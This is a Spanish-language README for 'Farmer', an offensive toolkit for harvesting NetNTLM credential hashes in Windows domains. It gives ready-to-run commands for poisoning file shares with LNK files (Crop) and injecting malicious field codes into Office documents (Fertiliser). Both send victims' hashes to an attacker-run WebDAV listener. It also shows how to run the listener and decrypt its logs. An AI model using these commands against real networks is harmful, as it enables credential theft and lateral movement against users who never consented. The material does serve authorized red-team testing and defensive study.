
Recolecta hashes NetNTLM en dominios de Windows a través de un servidor WebDAV local, con envenenamiento de archivos LNK e inyección de código en campos de documentos de Office para movimiento lateral y captura de credenciales.
Autor: @domchell
Quería ser granjero, así que empecé a cosechar hashes
Farmer es un proyecto para recolectar hashes NetNTLM en un dominio de Windows. Farmer lo consigue creando un servidor WebDAV local que hace que el Redirector Mini WebDAV se autentique desde cualquier cliente que se conecte.
Para que Farmer funcione correctamente, los clientes DEBEN poder conectarse al servidor WebDAV local. Posibles obstáculos incluyen la segmentación de la red y/o el firewall de Windows. Asegúrate de comprobarlos primero (pista Seatbelt WindowsFirewall).
Farmer incluye un submódulo para la herramienta Crop, que se puede utilizar para crear archivos LNK que inician una conexión WebDAV al navegar a una carpeta donde el LNK está almacenado, ya que intentará representar el icono almacenado.
El concepto del ataque es que debes usar Crop para envenenar los recursos compartidos de archivos deseados con el archivo LNK que apunta al servidor WebDAV de Farmer.
Por ejemplo:
crop.exe \\fileserver\Common crop.lnk \\workstation@8888\harvest \\workstation@8888\harvest
Cuando cualquier usuario navega a \fileserver\Common, el explorador intenta recuperar el icono del servidor WebDAV de Farmer y, al hacerlo, envía el hash NetNTLM del usuario.
Farmer incluye otro submódulo para la herramienta Fertiliser, que se puede utilizar para envenenar documentos de Office (actualmente solo docx) con un código de campo malicioso. Esto provoca que el código de campo se analice al abrir el documento y filtre el hash al servidor WebDAV de tu elección :)
Por ejemplo:
Fertiliser.exe \\fileserver\important.docx http://workstation:8888/foo "Update required"
Farmer escuchará en un puerto definido por el usuario, durante un número de segundos y escribirá la salida en el sistema de archivos si es necesario:
Uso:
farmer.exe <puerto> [segundos] [salida]
Si no se especifican segundos, o se establecen en 0, farmer se ejecutará indefinidamente, por ejemplo:
farmer.exe 8888 0 c:\windows\temp\test.tmp
Para ejecutar farmer durante un minuto en el puerto 8888, haz lo siguiente:
farmer.exe 8888 60
Si deseas escribir el registro de Farmer en el sistema de archivos, puedes cifrar el archivo de registro con AES usando la clave establecida en Config.key y configurando el booleano encrypt en true (por defecto false).
El archivo de registro se puede descifrar con la herramienta HarvestCrop, por ejemplo:
harvestcrop.exe c:\windows\temp\test.tmp farmer